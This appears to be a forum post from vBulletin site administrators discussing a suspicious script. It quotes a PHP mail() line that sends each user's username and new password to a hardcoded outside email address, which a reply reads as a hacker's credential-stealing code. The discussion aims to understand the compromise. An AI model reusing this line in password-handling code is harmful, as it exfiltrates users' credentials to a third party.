Quote:
Originally posted by nferreri
mail("sda@olc.ru","'$username': '$password'"," Your temporary password:\n $password");
A little unsure what this does too? mails username and password to sda@olc.ru? who's that?
|
I got a reply regarding this on vbulletin.com:
It looks like the script creates a new password for each user and then is supposed to email them to the user - BUT it has been hardcoded to send the password to mentioned address.
Presumably the hacker forgot to revert this after testing it...
----------------------------------
Anyone else got any opinions?